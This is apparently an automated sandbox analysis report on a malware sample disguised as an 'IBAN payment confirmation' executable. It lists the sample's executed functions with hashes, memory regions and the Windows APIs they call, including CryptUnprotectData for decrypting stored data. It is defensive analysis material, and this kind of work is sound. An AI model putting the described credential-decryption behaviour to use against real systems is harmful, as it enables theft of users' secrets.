Snapshot File: hcaresult_0_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: f0f41473c1062d639537f97a351ef6b232bfd88747b8e1d85754dbc4161d6f9d
Instruction ID: dad0a046b028959ebe33103b56e1cab2fddac0818810981e259aca52f0e6fc56
Opcode Fuzzy Hash: f0f41473c1062d639537f97a351ef6b232bfd88747b8e1d85754dbc4161d6f9d
Instruction Fuzzy Hash: 59F06232608558BFC712DFA5DD40D9FBBA8DF06260B2540B6F801F7251D674FE019BA9

Analysis Process: IBAN payment confirmation.exePID: 3824, Parent PID: 3432COMMON

Execution Graph

Execution Coverage:	12.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	3%
Total number of Nodes:	232
Total number of Limit Nodes:	18

Executed Functions

Function 3A20E710 Relevance: 3.3, Strings: 2, Instructions: 764
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

p;t, xrefs: 3A20E7A8
Teq, xrefs: 3A20F0C5

Memory Dump Source

Source File: 0000000B.00000002.2531235973.000000003A200000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3a200000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID: Teq$p;t
API String ID: 0-491657406
Opcode ID: b323c963cf222a3c4b807b5b33e7116a56daa8d6d0c428fef898cfd029b0aebb
Instruction ID: 7dee1087f4e58b4a1b605f6eef48a43a6000d1e076f89930f530ac7dab1b5a83
Opcode Fuzzy Hash: b323c963cf222a3c4b807b5b33e7116a56daa8d6d0c428fef898cfd029b0aebb
Instruction Fuzzy Hash: DF82B374A41218CFEB65DF64C955B99BBB2FF89301F1081EAD80967364CB35AE82DF40

Function 39C998D0 Relevance: 3.3, Strings: 2, Instructions: 758
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

p;t, xrefs: 39C9995D
Teq, xrefs: 39C9A276

Memory Dump Source

Source File: 0000000B.00000002.2530929006.0000000039C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39c90000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID: Teq$p;t
API String ID: 0-491657406
Opcode ID: d0c81040d6a06daca272f21e338cdf2c04b4d88d1e7be8564ed58f3e4a30d670
Instruction ID: 8a6cda8d7a8c02f20f7ab09000b018c15d1bd56888643412f81a91a49d25283b
Opcode Fuzzy Hash: d0c81040d6a06daca272f21e338cdf2c04b4d88d1e7be8564ed58f3e4a30d670
Instruction Fuzzy Hash: 7072C374A41218CFEB64DF64C955BD9BBB2FF89301F1081A9D809673A4CB35AE82DF50

Function 3A20D558 Relevance: 1.9, APIs: 1, Instructions: 396COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2531235973.000000003A200000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3a200000_IBAN payment confirmation.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: 6899546bf2962be2c08f72394909b413dbf8c6b8cf919d1e01dcd61d49243a98
Instruction ID: d5d175379817d00f22b081c716d10ea96ace1ad6dd0fd48309e5ee8a03106683
Opcode Fuzzy Hash: 6899546bf2962be2c08f72394909b413dbf8c6b8cf919d1e01dcd61d49243a98
Instruction Fuzzy Hash: 98F17C74A01309CFEB18DFA9C944B9DBBF2BF48304F158659E409AB365DB74A946CF80

Function 3983BCB8 Relevance: 1.6, APIs: 1, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,?,00000000,?,?,?,?), ref: 3983BD25

Memory Dump Source

Source File: 0000000B.00000002.2530823711.0000000039830000.00000040.00000800.00020000.00000000.sdmp, Offset: 39830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39830000_IBAN payment confirmation.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: 51cd0d8b24ca848a190403d6e9ede4c830bd6ab0d5bf1ee0e881778ec4d38e7e
Instruction ID: b51f29180cc0755fb3e48092e56039843a7f2337c6bc38ade152018e975e44d4
Opcode Fuzzy Hash: 51cd0d8b24ca848a190403d6e9ede4c830bd6ab0d5bf1ee0e881778ec4d38e7e
Instruction Fuzzy Hash: F02138B68002499FDB10CF99C945BEEBFF4EB48320F148419E555A7210C735A551DFA1

Function 3983B4C0 Relevance: 1.6, APIs: 1, Instructions: 55encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,?,00000000,?,?,?,?), ref: 3983BD25

Memory Dump Source

Source File: 0000000B.00000002.2530823711.0000000039830000.00000040.00000800.00020000.00000000.sdmp, Offset: 39830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39830000_IBAN payment confirmation.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: f9033752ca45fe2698b54cd14d43e285a433ee805ffedcc90923a4f27b98016c
Instruction ID: 14da8ad537867a39f03b87f9fe3da16e0a29dd8efaf8c2e7cea2787f494ade43
Opcode Fuzzy Hash: f9033752ca45fe2698b54cd14d43e285a433ee805ffedcc90923a4f27b98016c
Instruction Fuzzy Hash: DB1114B68003499FDB20CF99C945BEEBBF4EB48320F148419EA18A7210C739A955DFA5

Function 39C96130 Relevance: .7, Instructions: 709COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530929006.0000000039C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39c90000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc36bb134cc0150bc1316e2e2b4a08017735dd3463156d21b3007cc1756ff779
Instruction ID: d4d1074342a4e5f9b6364f230b9c891bcc86e18c0197141d0492367972fed25e
Opcode Fuzzy Hash: fc36bb134cc0150bc1316e2e2b4a08017735dd3463156d21b3007cc1756ff779
Instruction Fuzzy Hash: D8729074E012688FEB64DF69C980BD9BBB2BF49300F5481E9D449A7395DB349E81CF90

Function 3983A928 Relevance: .3, Instructions: 296COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530823711.0000000039830000.00000040.00000800.00020000.00000000.sdmp, Offset: 39830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39830000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b10d8f169df45c860ce81ccd8f970786ccdee96ff932d05a1aa177d4e192bc24
Instruction ID: b8c024c9e946585abcc2ea8a88733546e9b41d67a213d29c44773feac895a36b
Opcode Fuzzy Hash: b10d8f169df45c860ce81ccd8f970786ccdee96ff932d05a1aa177d4e192bc24
Instruction Fuzzy Hash: AFE19E74E01218CFEB64CFA5C884BDDBBB2BF89300F6081A9D419A7395DB759A85CF50

Function 0011E6A8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2503655463.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_110000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 291f19ce7d085b8dbf9dc123f1d8921e1ff8a26d00ef7687fe8cad1b8a08c7e1
Instruction ID: 97774f54cdcba79bc62aa8420a5fdcc69af19dff012781e1df8250cf6d24d37e
Opcode Fuzzy Hash: 291f19ce7d085b8dbf9dc123f1d8921e1ff8a26d00ef7687fe8cad1b8a08c7e1
Instruction Fuzzy Hash: A1C1B274E01218CFEB14DFA5C954B9DBBB2BF88301F2081AAD809A7355DB359E85DF50

Function 3983C628 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530823711.0000000039830000.00000040.00000800.00020000.00000000.sdmp, Offset: 39830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39830000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f5861200db8d0b2b695fb460c0cfaf3816a58192372480d7bb2debf33ec9dc3
Instruction ID: 09b3e9fdfd03fd3304948fafe609a13ac0a6e90d18d2b686f60be904fca80112
Opcode Fuzzy Hash: 8f5861200db8d0b2b695fb460c0cfaf3816a58192372480d7bb2debf33ec9dc3
Instruction Fuzzy Hash: 4BC1C178E01218CFEB14DFA5C884B9DBBB2BF89300F5081A9D809AB355DB349E85CF50

Function 0011EC58 Relevance: .2, Instructions: 231COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2503655463.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_110000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 47784a11d41b640a9387742cfefbe9eaa3f9790c2edb9b5a8a34646fd0158dc3
Instruction ID: 69dc007c8aa43b1c968df39ebb3318d607a4711d055db0a14c5f88424fe19933
Opcode Fuzzy Hash: 47784a11d41b640a9387742cfefbe9eaa3f9790c2edb9b5a8a34646fd0158dc3
Instruction Fuzzy Hash: DEA11670D00208CFEB14DFA8C944BDDBBB2FF89314F248269E409AB291DB759985CF54

Function 39C977F0 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530929006.0000000039C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39c90000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 081d9dbf00ca2e31cdb7b72dfc1341c9ee97a621667ac3e44b9d5ddeb710ddd0
Instruction ID: 69b0bd5a3fe13d96191e2ac2f750e56589c08cc17b4f4d77fddc11a8d54747fa
Opcode Fuzzy Hash: 081d9dbf00ca2e31cdb7b72dfc1341c9ee97a621667ac3e44b9d5ddeb710ddd0
Instruction Fuzzy Hash: D3A17FB5E012288FEB18CF6AD944BDDBBF2AF89300F14D1AAD408A7255DB345A85CF51

Function 39C97E40 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530929006.0000000039C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39c90000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4e5bdf7f17bbe05b39853d4b1d016394c27ce12a6530c800c8c4d8072831734
Instruction ID: a1ccf83c8d405e07bd31dac5ce20bad05f98672d9f51a253920a2ea0a6059a4e
Opcode Fuzzy Hash: e4e5bdf7f17bbe05b39853d4b1d016394c27ce12a6530c800c8c4d8072831734
Instruction Fuzzy Hash: CAA19FB4E012288FEB18CF6AD944BDDBBF2BF89300F54C1AAD408A7255DB345A85CF51

Function 39C971A8 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530929006.0000000039C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39c90000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee12da3fe77c95f538cd0cf965d073ceea0de027b0ca28474a3e299aab79137d
Instruction ID: 64eaa7d09619f3eef3764a2b08ea00210cbc30073c7c6ab3a4f5511326928f3f
Opcode Fuzzy Hash: ee12da3fe77c95f538cd0cf965d073ceea0de027b0ca28474a3e299aab79137d
Instruction Fuzzy Hash: 5FA181B5E012288FEB58CF6AD944BDDBBF2BF89300F14C1AAD408A7255DB345A85CF51

Function 39C98490 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530929006.0000000039C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39c90000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4b56f5204803e83d2e9323e6ff763a01f72029e07e39e7a92f185a4d1bcbbda
Instruction ID: effeb1674236ecc4581ee763ea8c2eb73be5263814487e0620006429653b76a3
Opcode Fuzzy Hash: a4b56f5204803e83d2e9323e6ff763a01f72029e07e39e7a92f185a4d1bcbbda
Instruction Fuzzy Hash: 84A18FB4E012288FEB14CF6AD944BDEBBF2BF89300F14C1AAD408A7255DB345A85CF51

Function 0011EFAF Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2503655463.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_110000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 116cd661a9aeeb9d94b5c23eb621cb5e0a803e6cf6c4a1dd3925a364c8a403e8
Instruction ID: 0b68631e0aa402bf3f28e37c6dff5f55a242658b338a570ffb094403046e92eb
Opcode Fuzzy Hash: 116cd661a9aeeb9d94b5c23eb621cb5e0a803e6cf6c4a1dd3925a364c8a403e8
Instruction Fuzzy Hash: 6591E174D00208CFEB14DFA8C988BDCBBF2BF49314F208269E549AB291DB759985CF54

Function 39C99568 Relevance: .2, Instructions: 199COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530929006.0000000039C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39c90000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a438eaa9d36d980d706506b48b72fce9461d076e1fe968aba94283bba8cad88
Instruction ID: dfd8cf6a84a7706cfe543b3b81250f0d69b0251dfa4d2b9ca41914e3cc777240
Opcode Fuzzy Hash: 1a438eaa9d36d980d706506b48b72fce9461d076e1fe968aba94283bba8cad88
Instruction Fuzzy Hash: 5181D174E002488FEB14DFAAD9906DDFBF2BF88310F248129D414AB395DB359D42CB95

Function 39C96123 Relevance: .2, Instructions: 167COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530929006.0000000039C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39c90000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1490ee9fd46cf961182a20373f61c9fb63c6d3329f11be151dcc8e5949d398bf
Instruction ID: 671dfcade24f43564390ce58bd4bcc49181753d2b5c9d17002236040ef82cf68
Opcode Fuzzy Hash: 1490ee9fd46cf961182a20373f61c9fb63c6d3329f11be151dcc8e5949d398bf
Instruction Fuzzy Hash: 6371C475D01628CFDB68DF66C9807DDBBB2BF89300F1091AAD408A7364DB349A86CF40

Function 39C9848C Relevance: .2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530929006.0000000039C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39c90000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca641970a71da59fe639829468463ee8e9dc2d9f4536dd0863f9918ca63ec429
Instruction ID: 96f56210345194eacc0924ff70e519ed255526c685b5bbc81b6f393b26b89b28
Opcode Fuzzy Hash: ca641970a71da59fe639829468463ee8e9dc2d9f4536dd0863f9918ca63ec429
Instruction Fuzzy Hash: D07184B4E006188FEB58CF6AD94479EBAF2BF89300F14C1AAD40DB7255DB345A85CF51

Function 3A20F25E Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2531235973.000000003A200000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3a200000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e08264605b4f5feb75fa9191a004f1dad574503d58a15c8fcf5d0bc2cd985b10
Instruction ID: c209bf780a3344e0985d09221f7cbd6cbeb6baa5096ca9d0a51dfedefc787cf5
Opcode Fuzzy Hash: e08264605b4f5feb75fa9191a004f1dad574503d58a15c8fcf5d0bc2cd985b10
Instruction Fuzzy Hash: 9161FB74A40219DFEB25DF70C855BADBB72FF88301F1080A9990A67791DB356E82EF50

Function 39C977EC Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530929006.0000000039C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39c90000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7d0b218124451749b58932aba49f7b10b7db4efaa21f20589b4b78361907e92
Instruction ID: 24175b82aeee8f8b2a35d6a7fc56ff429756a628e4eb57c89f6c9eb4adbd5da0
Opcode Fuzzy Hash: f7d0b218124451749b58932aba49f7b10b7db4efaa21f20589b4b78361907e92
Instruction Fuzzy Hash: 394149B1E016188BEB58CF6BCD457CAFAF3AFC9300F14C1AAC50CA6264DB744A858F55

Function 39C97E3B Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530929006.0000000039C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39c90000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea484ac1287defdaf75023e3173457a288937f043c8611aeaaacbe9e9477a766
Instruction ID: e9132a9b6a92f123caed56baae64f3deca40b0a2bb1a5fe7de53a629f44ba7b3
Opcode Fuzzy Hash: ea484ac1287defdaf75023e3173457a288937f043c8611aeaaacbe9e9477a766
Instruction Fuzzy Hash: 494148B1E016188BEB58CF6BD9457C9FAF3BFC9300F14C1AAC50CA6264DB744A858F51

Function 3A2005F8 Relevance: 6.1, APIs: 4, Instructions: 136
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 3A200686
GetCurrentThread.KERNEL32 ref: 3A2006C3
GetCurrentProcess.KERNEL32 ref: 3A200700
GetCurrentThreadId.KERNEL32 ref: 3A200759

Memory Dump Source

Source File: 0000000B.00000002.2531235973.000000003A200000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3a200000_IBAN payment confirmation.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: cf68b17899f511988c66c00a3fa01c749db8fbf634d3dc82aae61a896ead61ea
Instruction ID: cb9bf5bf757f5aba718177e8f8d1e1552b981c7e4fde6b2fac50d90c1f402bf2
Opcode Fuzzy Hash: cf68b17899f511988c66c00a3fa01c749db8fbf634d3dc82aae61a896ead61ea
Instruction Fuzzy Hash: F25169B490434A8FEB14DFA9D544BEEBBF1EF88314F208469D019A73A0D7346945CF66

Function 3A200608 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 3A200686
GetCurrentThread.KERNEL32 ref: 3A2006C3
GetCurrentProcess.KERNEL32 ref: 3A200700
GetCurrentThreadId.KERNEL32 ref: 3A200759

Memory Dump Source

Source File: 0000000B.00000002.2531235973.000000003A200000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3a200000_IBAN payment confirmation.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 622945ba384fbe07e07ec664ddf0fbac949054ae2912174975818fea3b006346
Instruction ID: 3ede39db47580ab049d223eb5c931db36bfddb5f056ee930149e9c836fff31d5
Opcode Fuzzy Hash: 622945ba384fbe07e07ec664ddf0fbac949054ae2912174975818fea3b006346
Instruction Fuzzy Hash: A55169B49043498FEB14DFAAD544B9EBBF1EF88314F208419E019A7360DB346945CF65

Function 39C9B028 Relevance: 2.6, Strings: 2, Instructions: 150COMMON

Download Yara Rule

Strings

4'q, xrefs: 39C9B0AA
4'q, xrefs: 39C9B0CD

Memory Dump Source

Source File: 0000000B.00000002.2530929006.0000000039C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39c90000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID: 4'q$4'q
API String ID: 0-1467158625
Opcode ID: 977f5eff5d351ecc256c4cb67a8d966840707a8b2b6800da9b8594b6756dadc1
Instruction ID: 0117159b8ea7d2b656e56408a714e15978333a079bf48d5bb4ea171b615f18ed
Opcode Fuzzy Hash: 977f5eff5d351ecc256c4cb67a8d966840707a8b2b6800da9b8594b6756dadc1
Instruction Fuzzy Hash: F2515D70A002099FDB05EFA8D555AEEBBB2FF89300F104169E005BB266DB35AD46CF91

Function 0011FD8D Relevance: 1.6, APIs: 1, Instructions: 115COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 0011FEAA

Memory Dump Source

Source File: 0000000B.00000002.2503655463.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_110000_IBAN payment confirmation.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 8af7a1b7ceb684a2d11f9e40c962e5a9479a738b0160a7deede125d71c798227
Instruction ID: c383c17015c94deea90071650f3b03c729bcf644ce8197754e33f60e73301d83
Opcode Fuzzy Hash: 8af7a1b7ceb684a2d11f9e40c962e5a9479a738b0160a7deede125d71c798227
Instruction Fuzzy Hash: 1551B1B1D10319DFDB14CF99C984ADEBBB1BF48310F25812EE819AB251D7759885CF90

Function 0011FD98 Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 0011FEAA

Memory Dump Source

Source File: 0000000B.00000002.2503655463.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_110000_IBAN payment confirmation.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: e359c430329ab480a8312d78541bd02ac5399121e79baaf7d32404cb6cedae98
Instruction ID: 918a6c65eec37bdcfb3d38eb61932bee33fe5f7a7f60a45b16651fe35339fa84
Opcode Fuzzy Hash: e359c430329ab480a8312d78541bd02ac5399121e79baaf7d32404cb6cedae98
Instruction Fuzzy Hash: 2441C0B1D00309DFDB14CF9AC984ADEBBB5BF48310F25812EE819AB250D7759886CF90

Function 3A2008E4 Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 3A201B11

Memory Dump Source

Source File: 0000000B.00000002.2531235973.000000003A200000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3a200000_IBAN payment confirmation.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 1976a4cf5243c7722440f2fb18ff330f7fab9c0bb12c08c4203a8c5c07046ee3
Instruction ID: 6345df9f5227a3cb5f6722087aa6e90058ea79141e672c847dc359320bd6b9ed
Opcode Fuzzy Hash: 1976a4cf5243c7722440f2fb18ff330f7fab9c0bb12c08c4203a8c5c07046ee3
Instruction Fuzzy Hash: 9C4106B9A003459FDB14CF95C484BAABBF6FF88314F25C459E519AB321D774A842CFA0

Function 3A200C50 Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 3A200CDF

Memory Dump Source

Source File: 0000000B.00000002.2531235973.000000003A200000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3a200000_IBAN payment confirmation.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 7cf87145b617f7846ca83838dd0bf081e9c02b21104eb1185eb184e513311b7d
Instruction ID: 432b5e77d37087af51eeaf4b25d4cfbb5b9795f49060423bbeab0bbac5b7c28f
Opcode Fuzzy Hash: 7cf87145b617f7846ca83838dd0bf081e9c02b21104eb1185eb184e513311b7d
Instruction Fuzzy Hash: F62103B5D00249DFDB10CFA9D580AEEBBF4FB48320F14842AE915A3310C378A941CF60

Function 3A200C58 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 3A200CDF

Memory Dump Source

Source File: 0000000B.00000002.2531235973.000000003A200000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3a200000_IBAN payment confirmation.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: aab71200acc63097d0e55938cccced1d72a839e50b977de54ed7ecc59ebc7c30
Instruction ID: e76f77558dbd912198652388d3a2b850bff68b97fabe2599277cbb8a1dbb460f
Opcode Fuzzy Hash: aab71200acc63097d0e55938cccced1d72a839e50b977de54ed7ecc59ebc7c30
Instruction Fuzzy Hash: 2721E4B5D002499FDB10CFAAD984ADEBBF4FB48320F14801AE915A3310D778A940CF61

Function 3A201CA8 Relevance: 1.5, APIs: 1, Instructions: 46timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,?,?,?), ref: 3A201D0D

Memory Dump Source

Source File: 0000000B.00000002.2531235973.000000003A200000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3a200000_IBAN payment confirmation.jbxd

Similarity

API ID: Timer
String ID:
API String ID: 2870079774-0
Opcode ID: 329613c1c0818c237317c1e1ad960c2023df5c4a8c191385c8ce6bbc2716b1ce
Instruction ID: 543c61f991c74bbadd22dde3624eafffabbf354ab8e9504c2d1aa0176a965c24
Opcode Fuzzy Hash: 329613c1c0818c237317c1e1ad960c2023df5c4a8c191385c8ce6bbc2716b1ce
Instruction Fuzzy Hash: EB11F2B68003499FDB20DF9AD585BDEBBF4FB48320F10841AE558A7210C379A984CFA1

Function 3A20C490 Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 3A20D395

Memory Dump Source

Source File: 0000000B.00000002.2531235973.000000003A200000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3a200000_IBAN payment confirmation.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 224cdd97cf28ffd94b666c31ab818d0d25d3e7b44095e36340632555fb51a961
Instruction ID: 0c707c11dcbf6152360d0b23c7ade64cf80cd3c3966c2180020641a11a2c976e
Opcode Fuzzy Hash: 224cdd97cf28ffd94b666c31ab818d0d25d3e7b44095e36340632555fb51a961
Instruction Fuzzy Hash: 581142B5D003488FCB20DF9AC944B9EFBF4EB48324F20845AE918A3300C778A940CFA5

Function 3A20C53C Relevance: 1.5, APIs: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32(?,?,?,?,?,?,00000000,-00000018,?,3A20D87F), ref: 3A20E6AD

Memory Dump Source

Source File: 0000000B.00000002.2531235973.000000003A200000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3a200000_IBAN payment confirmation.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: 9be6da4a77114ea1bdb7b35dd40cb2d2cced79c1814ebcf21eedbde5908bf318
Instruction ID: 3fdb3ff6984b1426e3f4b8e5f0e97a4aece410ec330a23f0994d8604f9ae1a9d
Opcode Fuzzy Hash: 9be6da4a77114ea1bdb7b35dd40cb2d2cced79c1814ebcf21eedbde5908bf318
Instruction Fuzzy Hash: 3C112EB5D047498FCB20DF9AE944B9EFBF4EB48324F10846AE518A3210C378A580CFA5

Function 3A20D338 Relevance: 1.5, APIs: 1, Instructions: 45comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 3A20D395

Memory Dump Source

Source File: 0000000B.00000002.2531235973.000000003A200000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3a200000_IBAN payment confirmation.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 452e5ad86ec6baca27e0435cf890239f1ac233777d1b2d97ae91d9b7043017ba
